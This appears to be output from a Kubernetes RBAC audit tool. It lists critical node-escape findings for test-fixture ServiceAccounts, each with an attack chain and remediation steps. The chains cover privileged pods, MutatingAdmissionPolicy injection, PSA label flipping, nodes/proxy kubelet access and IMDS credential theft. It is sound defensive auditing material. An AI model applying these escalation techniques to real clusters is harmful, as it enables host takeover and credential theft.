Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/local-path-storage/local-path-provisioner-service-account → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/local-path-storage/local-path-provisioner-service-account yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/local-path-storage/local-path-provisioner-service-account.
  2. Acting as ServiceAccount/local-path-storage/local-path-provisioner-service-account, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Survives cutting the local-path-provisioner-bind binding (1 hop)

This route reaches the same target without the local-path-provisioner-bind binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod local-path-storage/local-path-provisioner-67b8995b4b-r5gbn falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/local-path-storage/local-path-provisioner-service-account → /). Evaluated cut: removing this subject from the local-path-provisioner-bind binding that grants hop 1. A route to the same sink survives that cut.
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/local-path-storage/local-path-provisioner-service-account → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/map-fixtures/sa-mutating-policy Cluster 9.0
ServiceAccount/map-fixtures/sa-mutating-policy can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/map-fixtures/sa-mutating-policy → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/map-fixtures/sa-mutating-policy

Subject ServiceAccount/map-fixtures/sa-mutating-policy has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/map-fixtures/sa-mutating-policy → / via mutating_policy_inject (create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings): can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/map-fixtures/sa-mutating-policy yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/map-fixtures/sa-mutating-policy.
  2. Acting as ServiceAccount/map-fixtures/sa-mutating-policy, the attacker uses the mutating_policy_inject technique via create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings, which gains can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. MutatingAdmissionPolicy injection mutating_policy_inject

    A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

    An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings
    Gives the attacker can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings that enables the first hop (ServiceAccount/map-fixtures/sa-mutating-policy → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings that enables the first hop (ServiceAccount/map-fixtures/sa-mutating-policy → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 9.0
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-create-escape → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-create-escape → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/psa-suppressed/default Cluster 9.0
ServiceAccount/psa-suppressed/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/psa-suppressed/default → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/psa-suppressed/default

Subject ServiceAccount/psa-suppressed/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/psa-suppressed/default → / via pod_host_escape (privileged): runs in pod psa-suppressed/psa-priv-app-54c64bdd84-w4v5m with privileged

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/psa-suppressed/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/psa-suppressed/default.
  2. Acting as ServiceAccount/psa-suppressed/default, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-suppressed/default
    Permission granted privileged
    Gives the attacker runs in pod psa-suppressed/psa-priv-app-54c64bdd84-w4v5m with privileged
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission privileged that enables the first hop (ServiceAccount/psa-suppressed/default → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission privileged that enables the first hop (ServiceAccount/psa-suppressed/default → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled Cluster 9.0
ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled

Subject ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → / via pod_host_escape (hostNetwork): runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-nmmrs with hostNetwork

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled.
  2. Acting as ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted hostNetwork
    Gives the attacker runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-nmmrs with hostNetwork
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission hostNetwork that enables the first hop (ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission hostNetwork that enables the first hop (ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/psaflip-fixtures/psaflip-flipper Cluster 9.0
ServiceAccount/psaflip-fixtures/psaflip-flipper can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/psaflip-fixtures/psaflip-flipper → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/psaflip-fixtures/psaflip-flipper

Subject ServiceAccount/psaflip-fixtures/psaflip-flipper has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/psaflip-fixtures/psaflip-flipper → / via namespace_psa_label_flip (patch namespaces + create pods (psaflip-fixtures)): can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/psaflip-fixtures/psaflip-flipper yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/psaflip-fixtures/psaflip-flipper.
  2. Acting as ServiceAccount/psaflip-fixtures/psaflip-flipper, the attacker rewrites the pod-security.kubernetes.io/enforce label on a namespace that Pod Security Admission currently locks down (patch namespaces + create pods (psaflip-fixtures)), setting it to privileged. PSA reads its enforcement level from that label on every admission and nothing in-tree protects the label, so the next pod the attacker creates there, privileged or host-mounting, is admitted. The write on the Namespace object is authorized like any other RBAC request: a cluster-scoped grant reaches every namespace, and a namespaced Role granting patch namespaces reaches its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request in <ns>.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Pod Security Admission label flip namespace_psa_label_flip

    Pod Security Admission decides how strictly to vet pods in a namespace by reading the pod-security.kubernetes.io/enforce label on the Namespace object at admission time. That label is ordinary metadata: nothing in Kubernetes protects it, so anyone who can update or patch the namespace can set it to privileged and switch the lockdown off.

    Alone the label write changes nothing. Paired with a way to create pods in that namespace, it lets the attacker land a privileged or host-mounting pod in a namespace the cluster's PSA posture reports as restricted, and escape to the node from there. The write grant is outside the built-in admin/edit roles, and a namespaced Role can carry it for its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request inside <ns>.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted patch namespaces + create pods (psaflip-fixtures)
    Gives the attacker can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission patch namespaces + create pods (psaflip-fixtures) that enables the first hop (ServiceAccount/psaflip-fixtures/psaflip-flipper → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission patch namespaces + create pods (psaflip-fixtures) that enables the first hop (ServiceAccount/psaflip-fixtures/psaflip-flipper → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/rbac-fixtures/sa-nodes-proxy Cluster 9.0
ServiceAccount/rbac-fixtures/sa-nodes-proxy can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-nodes-proxy → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-nodes-proxy

Subject ServiceAccount/rbac-fixtures/sa-nodes-proxy has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-nodes-proxy → / via nodes_proxy (get nodes/proxy): can reach kubelet API via nodes/proxy WebSocket verb confusion

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-nodes-proxy yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-nodes-proxy.
  2. Acting as ServiceAccount/rbac-fixtures/sa-nodes-proxy, the attacker uses nodes/proxy (get nodes/proxy) to forward requests directly to the kubelet on each node. Combined with the kubelet's /exec endpoint this becomes a primitive for running commands inside any pod the kubelet can see.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. nodes/proxy → kubelet API nodes_proxy

    The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted get nodes/proxy
    Gives the attacker can reach kubelet API via nodes/proxy WebSocket verb confusion
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission get nodes/proxy that enables the first hop (ServiceAccount/rbac-fixtures/sa-nodes-proxy → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission get nodes/proxy that enables the first hop (ServiceAccount/rbac-fixtures/sa-nodes-proxy → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create Cluster 9.0
ServiceAccount/rbac-fixtures/sa-pod-create can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-create → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-create → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

